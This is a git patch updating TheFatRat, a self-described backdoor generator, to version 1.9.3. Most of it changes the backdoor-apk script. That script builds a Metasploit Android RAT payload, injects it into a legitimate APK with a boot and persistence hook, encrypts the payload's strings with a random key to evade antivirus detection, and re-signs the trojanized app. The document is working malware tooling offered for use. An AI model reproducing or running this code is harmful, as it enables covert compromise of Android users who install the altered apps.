From d35caf03170c87073e37b2cac5657723f7b589ee Mon Sep 17 00:00:00 2001 From: root Date: Sat, 8 Apr 2017 17:20:22 -0400 Subject: [PATCH] Update 1.9.3 --- CHANGELOG.md | 1 + README.md | 6 +- backdoor_apk => backdoor-apk | 138 ++++++++++-------- config/android.pro | 1 + fatrat | 2 +- .../util/obfuscation/StringObfuscator.class | Bin 1359 -> 3989 bytes lists/trlist.txt | 25 ---- setup.sh | 15 ++ tools/android-string-obfuscator/lib/aso | 41 ++++++ tools/android-string-obfuscator/lib/aso.jar | Bin 0 -> 8616 bytes tools/apkembed.rb | 2 +- 11 files changed, 142 insertions(+), 89 deletions(-) rename backdoor_apk => backdoor-apk (88%) mode change 100644 => 100755 delete mode 100644 lists/trlist.txt create mode 100755 tools/android-string-obfuscator/lib/aso create mode 100644 tools/android-string-obfuscator/lib/aso.jar diff --git a/CHANGELOG.md b/CHANGELOG.md index 38f6ff6..4c9897a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,6 @@ ## CHANGELOG +* v1.9.3 - Updated dana travis backdoor-apk to 2.2.2 into fatrat / added openssl in setup * v1.9.2 - Msfvenom Android rat will be signed with android certificate , so it can be installed properly * v1.9.2 - Implemented Default Lhost & Lport config to fatrat & powerfull shell creator * v1.9.2 - Fixed payload in pnwinds option2 diff --git a/README.md b/README.md index d45a22d..966c7b4 100644 --- a/README.md +++ b/README.md @@ -3,17 +3,13 @@ # TheFatRat ( Unit for bypass av ) -## Update: Version 1.9.2 +## Update: Version 1.9.3 ## Codename: Whistle ### Thefatrat a massive exploiting tool revealed An easy tool to generate backdoor and easy tool to post exploitation attack like browser attack,dll . This tool compiles a malware with popular payload and then the compiled malware can be execute on windows, android, mac . The malware that created with this tool also have an ability to bypass most AV software protection . -#### New Changes in fatrat 1.9.2 -Lhost & Lport Automatic Input / signed android Payload | link : https://www.youtube.com/watch?v=AyzsSaRE7ZQ - - # Screenshot # --------------------------------------------------------------- diff --git a/backdoor_apk b/backdoor-apk old mode 100644 new mode 100755 similarity index 88% rename from backdoor_apk rename to backdoor-apk index 871b2d0..99c01d2 --- a/backdoor_apk +++ b/backdoor-apk @@ -33,6 +33,7 @@ APKTOOL=`sed -n 12p $file` PROGUARD=`sed -n 9p $file` DX=`sed -n 10p $file` ZIPALIGN=`sed -n 8p $file` +ASO=tools/android-string-obfuscator/lib/aso proconfig=config/android.pro else echo -e $red"Configuration file does not exists , run setup.sh first for config ." @@ -53,15 +54,10 @@ exit 1 fi # apt-get install lib32z1 lib32ncurses5 lib32stdc++6 -VERSION="0.2.1" - - -# file paths and misc -location=$1 +VERSION="0.2.2" LOG_FILE=$MY_PATH/logs/apk.log TIME_OF_RUN=`date` -# for functions -FUNC_RESULT="" + # functions function find_smali_file { # $1 = smali_file_to_hook @@ -126,19 +122,19 @@ function hook_smali_file { function verify_orig_apk { if [ -z $MY_PATH/temp/$ORIG_APK_FILE ]; then - echo -e $red "[!] No original APK file specified" + echo "[!] No original APK file specified" exit 1 fi if [ ! -f $MY_PATH/temp/$ORIG_APK_FILE ]; then - echo -e $red "[!] Original APK file specified does not exist" + echo "[!] Original APK file specified does not exist" exit 1 fi $UNZIP -l $MY_PATH/temp/$ORIG_APK_FILE >>$LOG_FILE 2>&1 rc=$? if [ $rc != 0 ]; then - echo -e $red "[!] Original APK file specified is not valid" + echo "[!] Original APK file specified is not valid" exit $rc fi } @@ -147,14 +143,13 @@ function consult_which { which $1 >>$LOG_FILE 2>&1 rc=$? if [ $rc != 0 ]; then - echo -e $red "[!] Check your environment and configuration. Couldn't find: $1" + echo "[!] Check your environment and configuration. Couldn't find: $1" exit $rc fi } - function init { - echo "Running createapk ( fatrat 1.9 Edition ) at $TIME_OF_RUN" >$LOG_FILE 2>&1 + echo "Running Backdoor-apk 2.2.2 ( fatrat 1.9 Edition ) at $TIME_OF_RUN" >$LOG_FILE 2>&1 consult_which $MSFVENOM consult_which $DEX2JAR consult_which $UNZIP @@ -162,6 +157,7 @@ function init { consult_which $JARSIGNER consult_which $APKTOOL consult_which $PROGUARD + consult_which $ASO consult_which $DX consult_which $ZIPALIGN verify_orig_apk @@ -170,31 +166,32 @@ function init { # kick things off init -# generate Metasploit resource script -# credit to John Troony for the suggestion -echo "" echo -e $green "[*] Creating RAT Apk File " -$MSFVENOM -f raw -p $PAYLOAD LHOST=$LHOST LPORT=$LPORT -o $MY_PATH/temp/$RAT_APK_FILE >>$LOG_FILE 2>&1 +$MSFVENOM -a dalvik --platform android -p $PAYLOAD LHOST=$LHOST LPORT=$LPORT -f raw -o $MY_PATH/temp/$RAT_APK_FILE >>$LOG_FILE 2>&1 +rc=$? +echo "done." if [ $rc != 0 ] || [ ! -f $MY_PATH/temp/$RAT_APK_FILE ]; then echo -e $red "[!] Failed to generate RAT APK file" exit 1 fi -echo -e $green "[*] Decompiling RAT APK file..." +echo -e $green "[*] Decompiling RAT APK file..." $APKTOOL d -f -o $MY_PATH/temp/payload $MY_PATH/temp/$RAT_APK_FILE >>$LOG_FILE 2>&1 rc=$? -echo -e $yellow "done." +echo "done." if [ $rc != 0 ]; then echo -e $red "[!] Failed to decompile RAT APK file" + cleanup exit $rc fi echo -e $green "[*] Decompiling original APK file..." -$APKTOOL d -f -o $MY_PATH/temp/original $MY_PATH/temp/$ORIG_APK_FILE >>$LOG_FILE 2>&1 +$APKTOOL d -f -o $MY_PATH/temp/payload $MY_PATH/temp/$RAT_APK_FILE >>$LOG_FILE 2>&1 rc=$? -echo -e $yellow "done." +echo "done." if [ $rc != 0 ]; then echo -e $red "[!] Failed to decompile original APK file" + cleanup exit $rc fi @@ -207,7 +204,7 @@ for i in `seq 1 4`; do placeholder="$placeholder$hex" done echo "placeholder value: $placeholder" >>$LOG_FILE 2>&1 -tmp_perms_file=$MY_PATH/temp/perms.tmp +tmp_perms_file=$MY_PATH/perms.tmp original_manifest_file=$MY_PATH/temp/original/AndroidManifest.xml payload_manifest_file=$MY_PATH/temp/payload/AndroidManifest.xml merged_manifest_file=$MY_PATH/temp/original/AndroidManifest.xml.merged @@ -221,7 +218,7 @@ mv $merged_manifest_file.uniq $merged_manifest_file sed -i "s/$placeholder/$(sed -e 's/[\&/]/\\&/g' -e 's/$/\\n/' $tmp_perms_file | tr -d '\n')/" $merged_manifest_file diff $original_manifest_file $merged_manifest_file >>$LOG_FILE 2>&1 mv $merged_manifest_file $original_manifest_file -echo -e $yellow "done." +echo "done." # cleanup payload directory after merging app permissions rm -rf $MY_PATH/temp/payload >>$LOG_FILE 2>&1 @@ -235,7 +232,7 @@ mv $MY_PATH/temp/$RAT_APK_FILE $MY_PATH/temp/bin/classes >>$LOG_FILE 2>&1 $DEX2JAR $MY_PATH/temp/bin/classes/$RAT_APK_FILE -o $MY_PATH/temp/bin/classes/Rat-dex2jar.jar >>$LOG_FILE 2>&1 rc=$? if [ $rc != 0 ]; then - echo -e $yellow "done." + echo "done." echo -e $red "[!] Failed to run dex2jar on RAT APK file" exit $rc fi @@ -243,34 +240,34 @@ fi cp -R $MY_PATH/java/classes/* $MY_PATH/temp/libs/ >>$LOG_FILE 2>&1 rc=$? if [ $rc != 0 ]; then - echo -e $yellow "done." + echo "done." echo -e $red "[!] Failed to inject Java classes" exit $rc fi -cd $MY_PATH/temp/bin/classes/ +cd $MY_PATH/temp/bin/classes jar xvf $MY_PATH/temp/bin/classes/Rat-dex2jar.jar >>$LOG_FILE 2>&1 cd $MY_PATH rm $MY_PATH/temp/bin/classes/*.apk $MY_PATH/temp/bin/classes/*.jar >>$LOG_FILE 2>&1 $PROGUARD @$proconfig >>$LOG_FILE 2>&1 rc=$? if [ $rc != 0 ]; then - echo -e $yellow "done." + echo "done." echo -e $red "[!] Failed to run proguard with specified configuration" exit $rc fi $DX --dex --output="$MY_PATH/temp/$RAT_APK_FILE" $MY_PATH/temp/bin/classes-processed.jar >>$LOG_FILE 2>&1 rc=$? if [ $rc != 0 ]; then - echo -e $yellow "done." + echo "done." echo -e $red "[!] Failed to run dx on proguard processed jar file" exit $rc fi -echo -e $yellow "done." +echo "done." echo -e $green "[*] Decompiling obfuscated RAT APK file..." $APKTOOL d -f -o $MY_PATH/temp/payload $MY_PATH/temp/$RAT_APK_FILE >>$LOG_FILE 2>&1 rc=$? -echo -e $yellow "done." +echo "done." if [ $rc != 0 ]; then echo -e $red "[!] Failed to decompile RAT APK file" exit $rc @@ -292,7 +289,7 @@ echo "payload_sub_dir is: $payload_sub_dir" >>$LOG_FILE 2>&1 echo -e $green "[*] Creating new directories in original project for RAT smali files..." mkdir -v -p $MY_PATH/temp/original/smali/$payload_tld/$payload_primary_dir/$payload_sub_dir >>$LOG_FILE 2>&1 rc=$? -echo -e $yellow "done." +echo "done." if [ $rc != 0 ]; then echo -e $red "[!] Failed to create new directories for RAT smali files" exit $rc @@ -309,7 +306,7 @@ if [ $rc == 0 ]; then cp -v $MY_PATH/temp/payload/smali/net/dirtybox/util/*.smali $MY_PATH/temp/original/smali/$payload_tld/$payload_primary_dir/$payload_sub_dir/ >>$LOG_FILE 2>&1 rc=$? fi -echo -e $yellow "done." +echo "done." if [ $rc != 0 ]; then echo -e $red "[!] Failed to copy RAT smali files" exit $rc @@ -326,7 +323,7 @@ if [ $rc == 0 ]; then sed -i 's|net\([./]\)dirtybox\([./]\)util|'"$payload_tld"'\1'"$payload_primary_dir"'\2'"$payload_sub_dir"'|g' $MY_PATH/temp/original/smali/$payload_tld/$payload_primary_dir/$payload_sub_dir/*.smali >>$LOG_FILE 2>&1 rc=$? fi -echo -e $yellow "done." +echo "done." if [ $rc != 0 ]; then echo -e $red "[!] Failed to fix RAT smali files" exit $rc @@ -335,16 +332,41 @@ fi echo -e $green "[*] Obfuscating const-string values in RAT smali files..." cat >$MY_PATH/temp/obfuscate.method <a(Ljava/lang/String;)Ljava/lang/String; + invoke-static {###REG###}, L###CLASS###;->b(Ljava/lang/String;)Ljava/lang/String; move-result-object ###REG### EOL stringobfuscator_class=`ls $MY_PATH/temp/original/smali/$payload_tld/$payload_primary_dir/$payload_sub_dir/*.smali |grep -v "AppBoot" |grep -v "MainService" |sort -r |head -n 1 |sed "s:$MY_PATH/temp/original/smali/::g" |sed "s:.smali::g"` echo "StringObfuscator class: $stringobfuscator_class" >>$LOG_FILE 2>&1 +so_class_suffix=`echo $stringobfuscator_class |awk -F "/" '{ printf "%s.smali", $4 }'` +echo "StringObfuscator class suffix: $so_class_suffix" >>$LOG_FILE 2>&1 +so_default_key="7IPR19mk6hmUY+hdYUaCIw==" +so_key=$so_default_key +which openssl >>$LOG_FILE 2>&1 +rc=$? +if [ $rc == 0 ]; then + so_key="$(openssl rand -base64 16)" + rc=$? +fi +if [ $rc == 0 ]; then + file="$MY_PATH/temp/original/smali/$stringobfuscator_class.smali" + sed -i 's%'"$so_default_key"'%'"$so_key"'%' $file >>$LOG_FILE 2>&1 + rc=$? + if [ $rc == 0 ]; then + echo "Injected new key into StringObufscator class" >>$LOG_FILE 2>&1 + else + echo "Failed to inject new key into StringObfuscator class, using default key" >>$LOG_FILE 2>&1 + so_key=$so_default_key + fi +else + echo "Failed to generate a new StringObfuscator key, using default key" >>$LOG_FILE 2>&1 + so_key=$so_default_key +fi +echo "StringObfuscator key: $so_key" >>$LOG_FILE 2>&1 sed -i 's/[[:space:]]*"$/"/g' $MY_PATH/temp/original/smali/$payload_tld/$payload_primary_dir/$payload_sub_dir/*.smali >>$LOG_FILE 2>&1 rc=$? if [ $rc == 0 ]; then - grep "const-string" $MY_PATH/temp/original/smali/$payload_tld/$payload_primary_dir/$payload_sub_dir/*.smali |while read -r line; do + grep "const-string" --exclude="$so_class_suffix" $MY_PATH/temp/original/smali/$payload_tld/$payload_primary_dir/$payload_sub_dir/*.smali |while read -r line; do file=`echo $line |awk -F ": " '{ print $1 }'` echo "File: $file" >>$LOG_FILE 2>&1 target=`echo $line |awk -F ", " '{ print $2 }'` @@ -352,36 +374,39 @@ if [ $rc == 0 ]; then tmp=`echo $line |awk -F ": " '{ print $2 }'` reg=`echo $tmp |awk '{ print $2 }' |sed 's/,//'` echo "Reg: $reg" >>$LOG_FILE 2>&1 - trlist_max_line=`wc -l $MY_PATH/lists/trlist.txt |awk '{ print $1 }'` - trlist_rand_line=`shuf -i 1-${trlist_max_line} -n 1` - trlist_line=`sed "${trlist_rand_line}q;d" $MY_PATH/lists/trlist.txt` - shift_count=$(awk '{ print $1 }' <<< $trlist_line) - shift_tr_value=$(awk '{ print $2 }' <<< $trlist_line) - echo "Shift count: $shift_count" >>$LOG_FILE 2>&1 - echo "Shift tr value: $shift_tr_value" >>$LOG_FILE 2>&1 - replacement=`echo $target |tr '[A-Za-z]' $shift_tr_value |sed 's:^":"'"$shift_count"':g'` + stripped_target=`sed -e 's/^"//' -e 's/"$//' <<<"$target"` + replacement=`$ASO e "$stripped_target" k "$so_key"` + rc=$? + if [ $rc != 0 ]; then + echo "Failed to obfuscate target value" >>$LOG_FILE 2>&1 + touch $MY_PATH/temp/obfuscate.error + break + fi + replacement="\"$(echo $replacement)\"" echo "Replacement: $replacement" >>$LOG_FILE 2>&1 sed -i 's%'"$target"'%'"$replacement"'%' $file >>$LOG_FILE 2>&1 rc=$? if [ $rc != 0 ]; then + echo "Failed to replace target value" >>$LOG_FILE 2>&1 touch $MY_PATH/temp/obfuscate.error break fi sed -i '\|'"$replacement"'|r '"$MY_PATH/temp"'/obfuscate.method' $file >>$LOG_FILE 2>&1 rc=$? if [ $rc != 0 ]; then + echo "Failed to inject unobfuscate method call" >>$LOG_FILE 2>&1 touch $MY_PATH/temp/obfuscate.error break fi sed -i 's/###REG###/'"$reg"'/' $file >>$LOG_FILE 2>&1 rc=$? if [ $rc != 0 ]; then + echo "Failed to inject register value" >>$LOG_FILE 2>&1 touch $MY_PATH/temp/obfuscate.error break fi done if [ ! -f $MY_PATH/temp/obfuscate.error ]; then - #class="$payload_tld/$payload_primary_dir/$payload_sub_dir/e" class="$stringobfuscator_class" sed -i 's|###CLASS###|'"$class"'|' $MY_PATH/temp/original/smali/$payload_tld/$payload_primary_dir/$payload_sub_dir/*.smali rc=$? @@ -390,7 +415,7 @@ if [ $rc == 0 ]; then rc=1 fi fi -echo -e $yellow "done." +echo "done." if [ $rc != 0 ]; then echo -e $red "[!] Failed to obfuscate const-string values in RAT smali files" exit $rc @@ -425,11 +450,11 @@ smali_file_to_hook=$MY_PATH/temp/original/smali/$android_class.smali find_smali_file $smali_file_to_hook $android_class rc=$? if [ $rc != 0 ]; then - echo -e $yellow "done." + echo "done." echo -e $red "[!] Failed to locate smali file to hook" exit $rc else - echo -e $yellow "done." + echo "done." smali_file_to_hook=$FUNC_RESULT echo "The smali file to hook: $smali_file_to_hook" >>$LOG_FILE 2>&1 fi @@ -437,10 +462,10 @@ fi echo -e $green "[*] Adding hook in original smali file..." hook_smali_file $payload_tld $payload_primary_dir $payload_sub_dir $smali_file_to_hook rc=$? -echo -e $yellow "done." +echo "done." if [ $rc != 0 ]; then echo -e $red "[!] Failed to add hook" - exit $rc + exit $rc fi echo -e $green "[*] Adding persistence hook in original project..." @@ -462,7 +487,7 @@ if [ $rc == 0 ]; then rc=$? fi fi -echo -e $yellow "done." +echo "done." if [ $rc != 0 ]; then echo -e $red "[!] Failed to add persistence hook" exit $rc @@ -471,7 +496,7 @@ fi echo -e $green "[*] Recompiling original project with backdoor..." $APKTOOL b $MY_PATH/temp/original >>$LOG_FILE 2>&1 rc=$? -echo -e $yellow "done." +echo "done." if [ $rc != 0 ]; then echo -e $red "[!] Failed to recompile original project with backdoor" exit $rc @@ -503,7 +528,7 @@ start_ts=$(TZ=UTC date -ud "$from_date_norm" +'%s') validity=$(( ( (${end_ts} - ${start_ts}) / (60*60*24) ) )) echo "Value of validity: $validity" >>$LOG_FILE 2>&1 -echo -e $green "[*] Generating RSA key for signing..." +echo -n "[*] Generating RSA key for signing..." $KEYTOOL -genkey -noprompt -alias signing.key -startdate "$from_date_str" -validity $validity -dname "$dname" -keystore $keystore -storepass android -keypass android -keyalg RSA -keysize 2048 >>$LOG_FILE 2>&1 rc=$? if [ $rc != 0 ]; then @@ -511,7 +536,7 @@ if [ $rc != 0 ]; then $KEYTOOL -genkey -noprompt -alias signing.key -validity 10000 -dname "$dname" -keystore $keystore -storepass android -keypass android -keyalg RSA -keysize 2048 >>$LOG_FILE 2>&1 rc=$? fi -echo -e $yellow "done." +echo "done." if [ $rc != 0 ]; then echo -e $red "[!] Failed to generate RSA key" exit $rc @@ -520,7 +545,7 @@ fi echo -e $green "[*] Signing recompiled APK..." $JARSIGNER -sigalg SHA1withRSA -digestalg SHA1 -keystore $keystore -storepass android -keypass android $compiled_apk signing.key >>$LOG_FILE 2>&1 rc=$? -echo -e $yellow "done." +echo "done." if [ $rc != 0 ]; then echo -e $red "[!] Failed to sign recompiled APK" exit $rc @@ -529,7 +554,7 @@ fi echo -e $green "[*] Verifying signed artifacts..." $JARSIGNER -verify -certs $compiled_apk >>$LOG_FILE 2>&1 rc=$? -echo -e $yellow "done." +echo "done." if [ $rc != 0 ]; then echo -e $red "[!] Failed to verify signed artifacts" exit $rc @@ -540,14 +565,13 @@ mv $compiled_apk $unaligned_apk echo -e $green "[*] Aligning recompiled APK..." $ZIPALIGN 4 $unaligned_apk $compiled_apk >>$LOG_FILE 2>&1 rc=$? -echo -e $yellow "done." +echo "done." if [ $rc != 0 ]; then echo -e $red "[!] Failed to align recompiled APK" exit $rc fi rm $unaligned_apk - #Checking finished apk file fiapk=$MY_PATH/temp/original/dist/app.apk if [ -f "$fiapk" ] diff --git a/config/android.pro b/config/android.pro index 0da07bd..bdaf896 100644 --- a/config/android.pro +++ b/config/android.pro @@ -157,6 +157,7 @@ -keep,allowobfuscation public class net.dirtybox.util.obfuscation.StringObfuscator { public static java.lang.String obfuscate(java.lang.String); + public static java.lang.String unobfuscate(java.lang.String); } # If you wish, you can let the optimization step remove Android logging calls. diff --git a/fatrat b/fatrat index aeeb787..8583e69 100644 --- a/fatrat +++ b/fatrat @@ -46,7 +46,7 @@ fi #SAMARAN TAMPAN path=`pwd` -Versi=1.9.2 +Versi=1.9.3 codename=Whistle OS=`uname` # distro=$dist0 diff --git a/java/classes/net/dirtybox/util/obfuscation/StringObfuscator.class b/java/classes/net/dirtybox/util/obfuscation/StringObfuscator.class index 8b42b879f47ad2f244c00d3afbee3299a8d2a266..b48a6108a3c17f30b6dd69bbbab2bb2cd8b7fa9b 100644 GIT binary patch literal 3989 zcmb7{`*Rc570178N#4~;fH4>>k`VJK@e_pr4l$3$G6odeGPP_InKZDL7HdJ;RaYy6 zNz$f|Je#JaNt@C(Nn1LTAKIBF(8083Oea5f`WJONrQdsZEo4llt;gQS*>k_=+;czo z?E3Hj{_8S;{kWl{59g!kg`uMxv*Ic*4h0>1V5+#FVoryKq6$lgj*H^qB^4zNWgY8a z>%4a~RCGLnZ>exqR8@EyYC765ui~4}s(4Msx5edmRJ^X@ zyE?vy?~5ouQ1OOHU|z$U8s1Xzw#e=s74NF}p@P_OW@!BQ@bPma!#M@5qZf^NBUv)+ zxn$OJEqm@TU5*boxHO$jDcCfgIx&?U8k|gzXU+|s8l1=uPtq}+Nl&H+N7FOI#})MW zS~brqCG(D*ueq*idr8A{%2qx(C{HQJDVc`NAk9ZC+wzVn2z7Q%D+muc1yjL>QOhSRJ%VW0I<_=>;xKpvju&p~@5=_vchkL&i5J47=cz=@_%-PaCdL_N8|{LOSg` zn4akhCyvqm=}($hJQeQ|c_Ph?!41J}K*^fjP-pE(z7(LOXPugxH&0jsoHn252dlqV zpdQCT^vAh-55(~!ydTG2B;$BS9DaQ zI#$7_G9^KaqfdVvzr?S&_gBv_ z?H8v$Mai5%s$mu~Y_gtMFoaCked72vK334NDs0LqtgVPFaJ?eI3Z_a<{!*5$r7o!A zlQ=%bZ{qkZKHyfDNjG#`1?|tKPfzT7u6(J#Sf0xD6brd2V<>(3=uvLYsmT+4hZJu=Diq zdX(4dwo`ATTdD20uZA^|;iER2Pmq3uUh*9!+Khr!XZoR*M}!VPWRg&?rBOCGp`{j_ z6P9h1I8mW4rq>9^Le(?Ne4iMuYb@lQ3cFr+lk(fS1K9elDK2|S6NoMtzV z`>_j0=_Ru3;Fvc49hH+!aO5$3or*j8E#=#ur`HCAUQ{voFGN+O{z>U5hH%`UM$@*Kf{IrRcItsA=2A(8#@M6Vb!En6V^m{IiW6} zr=*q$hZ0(dhCA4uPV7H3cpH2oYi_3Rg`ZB zHU;O+$iYB?<@C=TsNgcLvS9vs7jEGm{#IX%c`gFbMYUe)C8^lQa_*(tGt@mu<^3Fc z06oOw5V1JM<4G<}hQQ~|T1S!d(iYz9%Jw)byjBDH$ zQ}olAeL^A^#q(4zBATfqcS^;ygzwCKmPb`V8dECHsL08S85L)t&?%Odo-tbQvjqAh zJ>?J%Pl+LetiVfkmfvNTVvcveisc@$5yvFa837)#C62^&HPZuO33a45l!)+G04RAT zXM*QtnhGRT?d63aQxzV41i#LC1JQj6Re-LEcqEqbqJBKGtF5rx@SuU+?bwZ{$gY3h z3=gm2b+YT9JMbRY>myR&pLgK~{)Er#?AmMs;L3%#LNUBZcBe_v8LoVeiZ4<79M!)` zx?d*6=UGdGt3AsRd0GpYgULv9jCqk!i~I-7Vx%%-Rv6XBbvTUZGGY}s=_wl0AF)v~ zE1FLuv%8svU@XLFx@0y?J)c>PiazBUHGO8IRP>n@&G2rW+22dX6z2bl4SINm8d9Nxjb^g;uDOfDv5cNN`7?)gLsldo}=Z zI`%@H-BH1%#@H*bihj;d{A_9MyoGRU*DXYr(47k{qURQx#EVCft)Ibpy_pnm;q154 K`ZDjEaPB_~L9jXi literal 1359 zcmb7ETW=Fb6#m9u?>d_en1tn$I^|NJjzeM!t$PUsf=j@~1gU9)TD216^~Trh4PTs_QfEO;GLg@di%yn8bKl?EX~ZBbH4MP+pJ&x^XvtHQEVNhW2+j*=R^3zZX$$93vG6r67?`ne5tl4f@r{McN~+l<|nYHP_1q|m|dGx)gW=3Zp3D`WfZ%-vQyg)m=m-M+tca38#I$v?@bb> zJ1rSalSd<-10ULqR-r{YiHg_n#q;g98&zb?;b?`*=nr(2R0Vu6dEVdg0_a=|mp7cV zNw`t|?!s2LNgTpXet_zif=~nJKEzvzr{I|>K7shNXWq?S?dNlE6_7s^j`P}eh82N|je-52C<7JVi>}>$&0f^|C%@>-W2`uC3y@LJTN`BtmY3Fvo1tTi1To z#Ol9~#=6+?2lGlp)iT3!Ss=2kYLNNnDII}{BKlEgbyFB1W(VfkqMz8L7V*nO-e!$= z$nYC+_gK5?#kcgG=NiTbWLy4Un&Pw0V}w!0QOAe0YDBN#01ooZ;w}epm|Ytr<43ge pKM+gI;vjQ8N<<#U-^d#{CU|BId@TOLNpa{k^w;DRC=ipv=zqg{G_U{w diff --git a/lists/trlist.txt b/lists/trlist.txt deleted file mode 100644 index 862b567..0000000 --- a/lists/trlist.txt +++ /dev/null @@ -1,25 +0,0 @@ -01 [Z-ZA-Yz-za-y] -02 [Y-ZA-Xy-za-x] -03 [X-ZA-Wx-za-w] -04 [W-ZA-Vw-za-v] -05 [V-ZA-Uv-za-u] -06 [U-ZA-Tu-za-t] -07 [T-ZA-St-za-s] -08 [S-ZA-Rs-za-r] -09 [R-ZA-Qr-za-q] -10 [Q-ZA-Pq-za-p] -11 [P-ZA-Op-za-o] -12 [O-ZA-No-za-n] -13 [N-ZA-Mn-za-m] -14 [M-ZA-Lm-za-l] -15 [L-ZA-Kl-za-k] -16 [K-ZA-Jk-za-j] -17 [J-ZA-Ij-za-i] -18 [I-ZA-Hi-za-h] -19 [H-ZA-Gh-za-g] -20 [G-ZA-Fg-za-f] -21 [F-ZA-Ef-za-e] -22 [E-ZA-De-za-d] -23 [D-ZA-Cd-za-c] -24 [C-ZA-Bc-za-b] -25 [B-ZA-Ab-za-a] diff --git a/setup.sh b/setup.sh index 717dc43..28496c1 100644 --- a/setup.sh +++ b/setup.sh @@ -209,6 +209,21 @@ which ruby >> $log 2>&1 sleep 2 fi +#Checking if Openssl exists +which openssl > /dev/null 2>&1 +if [ "$?" -eq "0" ]; then +echo -e $green "[ ✔ ] Openssl...........................[ found ]" +which openssl >> $log 2>&1 +sleep 2 +else +echo -e $red "[ X ] Openssl -> not found " +echo -e $yellow "[ ! ] Installing Openssl " +xterm -T "☣ INSTALL OPENSSL ☣" -geometry 100x30 -e "sudo apt-get install openssl -y" +echo -e $green "[ ✔ ] Done installing ...." +which openssl >> $log 2>&1 +sleep 2 +fi + #Checking if Jarsigner exists which jarsigner > /dev/null 2>&1 if [ "$?" -eq "0" ]; then diff --git a/tools/android-string-obfuscator/lib/aso b/tools/android-string-obfuscator/lib/aso new file mode 100755 index 0000000..2a0f8f7 --- /dev/null +++ b/tools/android-string-obfuscator/lib/aso @@ -0,0 +1,41 @@ +#!/bin/bash + +# Set up prog to be the path of this script, including following symlinks, +# and set up progdir to be the fully-qualified pathname of its directory. +prog="$0" +while [ -h "${prog}" ]; do + newProg=`/bin/ls -ld "${prog}"` + + newProg=`expr "${newProg}" : ".* -> \(.*\)$"` + if expr "x${newProg}" : 'x/' >/dev/null; then + prog="${newProg}" + else + progdir=`dirname "${prog}"` + prog="${progdir}/${newProg}" + fi +done +oldwd=`pwd` +progdir=`dirname "${prog}"` +cd "${progdir}" +progdir=`pwd` +prog="${progdir}"/`basename "${prog}"` +cd "${oldwd}" + +jarfile=aso.jar +libdir="$progdir" +if [ ! -r "$libdir/$jarfile" ] +then + echo `basename "$prog"`": can't find $jarfile" + exit 1 +fi + +if [ "$OSTYPE" = "cygwin" ] ; then + jarpath=`cygpath -w "$libdir/$jarfile"` +else + jarpath="$libdir/$jarfile" +fi + +# add current location to path +PATH=$PATH:`pwd`; +export PATH; +exec java -cp "$jarpath" net.dirtybox.util.obfuscation.AndroidStringObfuscator "$@" diff --git a/tools/android-string-obfuscator/lib/aso.jar b/tools/android-string-obfuscator/lib/aso.jar new file mode 100644 index 0000000000000000000000000000000000000000..e73228a82f6581f960339bf7046fec885b0918f4 GIT binary patch literal 8616 zcmbt(Wl&vP)-42gcMA~QHMlz*+@0X=aBv9j?v~(AaF^gtaDsDi*T4z-CH?j5o7>g> ze!Mq#?W$F^)|^ZBt~JLTLs=dQ8XE#09v*^RJ3tQN4?}=}h5$&ai!#Y7O0m3*K|nx3 zD9gja{~qz?pTm^@t26em5&v=qh$_lTNvf$c1Eg*M6XOcWZx9bjePIW%*Ma|c9VEEcX1aMH-}-1Jk8FH>Rd zq9%k9*B!IEh$m!3BBHQVVo@}*Zj@aj# z>157An9)~v#?Fe7C2+=BO-%S)S=LWg$5U*qTSbGTugOaJO|?LlVWf-)T3kwV2#0_d z#tUbX)f`*B(O81BfxV`JCyP5St^m1lg`cJt%$b?TDaJ(bv9e_ZXmUp{+o>J%4{)mD0sZIPw zH7}J!AgC*&bliqv&n_8Rn6Ol`ygH}LPH9r==zH@Sy0w9!#`CBc=Lqjz zYs{#8sINXpv?sY*XrbGnnmO8hhRVp`kM1I#i;X-5 z3d?s`R4HGtVJSV;@h`V<+{S^M!DyFA2nL0HEh6J;&5dqU4u|VZj~&;GV)rj;nH7;S zM&6g?Lf4<*)=8l+>)}{HUTA!Shg36ek^3}acMNN(PT#KCtijS8KgGChcNGLN#s*@c zuf$xP1#PKO!hrWX%E)-^7VOnpxPw21Et;*0p&pSe*!R$Eyq;lJz+C5EPGSRka==TX zr!**7iL9%)F;1HWEz&=J97S`|9C(`e`sx^)zq1I}_xyB$idk=mU`?UQ;b%6%ytzrpF8rMsui<3)03n0>)(`yD zun(-coU^1)q&Jv%_F+iVsMfqp)!E*P5Qwz&+;+;R0E^NeIdB2JmY8w&jhIstHsxjo zpbs$BW6^$k4xf=UVtnI-<*dFNbC*$ZOYdI7raI9VD_NHtk3~!mBrR3YyxU_%nMl%W^&(WpYw(I1__ZmN}jo?x>YVfPbg-u=J7JR`GG{B}Oc?3%eOtE}H z)==k;Q&(}VdKtXVX_`KU+Ussu^VI3WN-FEK3mDVk@QLgyv?rL|c9-N$jGe1=;Q|8XcPFc5%!S_R)aI107VEQ=J+ z%+$vfFU8jm?}hP$!K$DKsjN2Xw4UOvN#I44>+%qMgp9r^v`AXcG8!5xJ9Rjio)?+S zA6j@7%ZiG{9@&OpjHhqi|6Eux#FR(L0n3aFKw7Ij_pY{OrBN)5rsAZ3cZ;L)!U-;=k_AMZLygm)i_@*V{j+lctckS&x z43NY0x%tNu<-h5h{nwo68zd z(Jyt5tw?@oAE{U}FEkFFXCO{r9GKYC7L^t;7@T3N9W!O=e|@{vti1Ln^a%c?LspUU zE+Ip3&!1%qL;)%)ntwDl#+8Jvoo_M4umzWh*~IY&!q>q@dSnGfVOnQs7fM7&zNfv< zBR8=08l6g9X0ypZIDK^*P+Np z9=3=j_K=3Ky-(1+!A>3*QHk3$OJR(+%Ukt@KW_vnJQZ&WHG63^|Lvq4f+Zc*BCVX0 z!O@n8lU~8X`6VBHxoR%9M=eFtAk}UKm6rV7NRMsqYegvi%l#!E=?A^zdy4UB@8qX+ zZ?gQtdoZ#s!~I!nd=ID+@io0JyIQuYQi37jRp(k*y76S7Lvnyqj2bv*iVMv)B1?gcdX^eubZT&U>DLT_TxR$LZ`48)2Rlu zuD%AliO8XVVI|1Z$zVZHSvD-fSm*0B16S8-#ZB+jgDKi}bE-|X+Pt2M1Q{MUcLH{c zpcyccWDpaB$B&N_*%G(_Rrd<@8`)&7&xD`AK|m0o{)s7S4E+BFiwJ&U3X}gu4gU)# z#7tbxxjFxd7&P?M)U>c)?nZfeWqH3RS;rwP-8zeR z?8$6chp!v>6v&?Ne_&=>Vp=8{vk$_V8qU^dB8n=7TpM;niJle>W 